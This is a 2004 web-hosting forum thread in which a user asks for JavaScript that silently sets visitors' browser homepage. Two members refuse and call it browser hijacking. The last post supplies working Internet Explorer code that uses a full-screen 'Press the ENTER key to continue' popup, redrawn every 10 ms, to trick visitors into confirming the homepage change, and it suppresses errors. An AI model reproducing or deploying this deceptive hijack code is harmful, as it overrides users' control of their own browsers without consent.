Results 1 to 6 of 6
-
03-27-2004, 04:21 AM #1Web Hosting Master
- Join Date
- Dec 2003
- Posts
- 941
"Set Homepage" script in JavaScript
Any idea how to write a script in Javascrpt which when accessed
would set the homepage on the clients PC as written in js file
BUT WITHOUT PROMPTING HIM LIKE "DO YOU LIKE TO SET YOUR
HOMAGE TO SO AND SO SITE"
The process should be automatic.
Access the site and your homepage is set to the website written
in the script
ThanksPrimary email: advanced dot programmer at gmail dot com ..
-
03-27-2004, 04:27 AM #2Retired Moderator
- Join Date
- Apr 2003
- Location
- London, UK
- Posts
- 4,721
Well it's possibile, but i'm not telling you how, and hopefully nobody else will.
You're talking about spyware type crap and messing with peoples registries, things that people often spend many frustrated hours trying to remove.
It's up to them what they configure as their homepage, not you.Hyperconfused (™)
-
03-27-2004, 04:29 AM #3Web Hosting Master
- Join Date
- Dec 2003
- Posts
- 941
Please man this is not for crap but something important
Primary email: advanced dot programmer at gmail dot com ..
-
03-27-2004, 04:39 AM #4WHT Addict
- Join Date
- Jan 2004
- Location
- Mobile, AL
- Posts
- 138
I seriously hope noone tells you how to accomplish this either. That's pure browser hijacking. There's nothing important about that, other than a horrible way to screw visitors over. Sites that even ask are bad enough.
Last edited by mobilebadboy; 03-27-2004 at 04:42 AM.
Shawn Kerr
-
03-27-2004, 04:42 AM #5Web Hosting Master
- Join Date
- Dec 2003
- Posts
- 941
Please anyone please help me
I want to know how that happens
I have little idea that it involves classid etcPrimary email: advanced dot programmer at gmail dot com ..
-
05-09-2004, 01:47 PM #6New Member
- Join Date
- May 2004
- Posts
- 1
try this
<html xmlns:ie>
<head>
<ie:homepage id="homepage" style="behavior:url(#default#homepage)">
<script type="text/javascript">
try{
var popup = window.createPopup();
popup.document.body.innerHTML = '<table width="100%" height="100%"><tr><td align="center"><h1>Press the ENTER key to continue</h1></td></tr></table>';
var interval = setInterval('popup.show(0, 0, screen.width, screen.height, document.body)', 10);
homepage.setHomePage('***INSERT*URL*HERE***');
clearInterval(interval);
popup.hide();
}catch(e){}
</script>
</head>
</html>